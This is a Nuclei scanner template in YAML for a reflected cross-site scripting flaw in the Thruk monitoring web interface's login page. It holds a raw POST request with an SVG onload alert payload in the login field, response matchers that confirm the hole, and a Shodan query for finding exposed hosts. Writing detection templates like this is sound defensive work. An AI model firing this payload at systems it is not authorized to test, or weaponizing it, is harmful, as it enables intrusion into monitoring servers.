id: thruk-xss

info:
  name: Thruk Monitoring Webinterface - Cross-Site Scripting
  author: pikpikcu,ritikchaddha
  severity: high
  description: |
    Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.
  reference:
    - https://www.thruk.org/download.html
    - https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:thruk:thruk:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Thruk"
    product: thruk
    vendor: thruk
  tags: thruk,xss

http:
  - raw:
      - |
        POST /thruk/cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg/onload=alert(document.domain)>\"@gmail.com') called at"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
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